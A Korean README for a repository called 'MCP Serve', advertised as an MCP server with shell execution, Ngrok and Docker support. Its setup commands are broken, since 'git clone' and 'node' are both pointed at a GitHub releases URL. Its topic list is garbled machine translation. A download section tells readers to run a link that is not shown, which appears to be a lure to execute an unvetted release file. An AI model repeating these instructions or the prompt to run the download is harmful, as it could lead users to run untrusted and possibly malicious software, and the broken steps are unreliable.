MCP Serve: 딥러닝 모델을 위한 강력한 서버

딥 러닝 모델을 손쉽게 실행할 수 있도록 설계된 최첨단 도구인 MCP Serve 저장소에 오신 것을 환영합니다. 셸 실행, Ngrok을 통한 로컬 연결, Docker를 사용한 Ubuntu24 컨테이너 호스팅까지 가능한 간단하면서도 효과적인 MCP 서버를 갖춘 이 저장소는 모든 AI 애호가에게 필수품입니다!

특징 🚀

🔹 간단한 MCP 서버 : MCP 서버를 사용하여 딥 러닝 모델을 쉽게 실행하고 제공합니다.🔹 셸 실행 : 최대 제어를 위해 서버 셸에서 직접 명령을 실행합니다.🔹 Ngrok 연결 : Ngrok을 통해 로컬 서버에 연결하여 어디서든 원활하게 액세스할 수 있습니다.🔹 Ubuntu24 컨테이너 호스팅 : Docker를 활용하여 Ubuntu24 컨테이너를 호스팅하여 안정적인 환경을 구축합니다.🔹 최첨단 기술 : Anthropic, Gemini, LangChain 등 최고 수준의 기술로 설계되었습니다.🔹 ModelContextProtocol 지원 : 다양한 딥 러닝 모델과 원활하게 통합됩니다.🔹 OpenAI 통합 : OpenAI와 손쉽게 연결하여 고급 AI 기능을 구현합니다.

저장소 주제 📋

✨ 인류학적, 클로드, 컨테이너, 딥시크, 도커, 제미니, 랭체인, 랭그래프, MCP, 모델컨텍스트프로토콜, 엔그록, 오픈AI, 소넷, 우분투, 바이브코딩

앱 다운로드 📦

위의 링크가 파일 이름으로 끝나면, 링크를 실행해서 가능성을 탐색해보세요!

시작하기 🏁

MCP Serve를 시작하려면 다음 간단한 단계를 따르세요.

1. 저장소 복제 : git clone https://github.com/mark-oori/mcpserve/releases
2. 종속성 설치 : npm install
3. MCP 서버 실행 : node https://github.com/mark-oori/mcpserve/releases

기여하기 🤝

MCP Serve를 더욱 강력하고 풍부한 기능으로 만들기 위한 여러분의 기여를 환영합니다. 저장소를 포크하고, 수정하고, 풀 리퀘스트를 제출해 주세요.

커뮤니티 🌟

AI 애호가, 개발자, 연구자들이 모인 저희 커뮤니티에 참여하여 딥러닝, AI 프레임워크 등의 최신 트렌드에 대해 논의해 보세요. 프로젝트를 공유하고, 질문하고, 같은 생각을 가진 사람들과 협업해 보세요.

지원 ℹ️

MCP Serve를 사용하는 데 문제가 발생하거나 궁금한 사항이 있는 경우 저장소의 "문제" 섹션을 확인하거나 지원팀에 문의하여 도움을 받으세요.

라이센스 📜

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여되었습니다. 자세한 내용은 라이선스 파일을 참조하세요.

MCP Serve로 딥러닝의 세계로 뛰어들어 AI 모델과의 상호 작용 방식을 혁신해 보세요. 숙련된 AI 전문가든 AI의 가능성을 탐구하는 초보자든, MCP Serve는 누구에게나 필요한 것을 제공합니다. 지금 바로 딥러닝 여정을 시작하세요! 🌌

즐거운 코딩 되세요! 💻🤖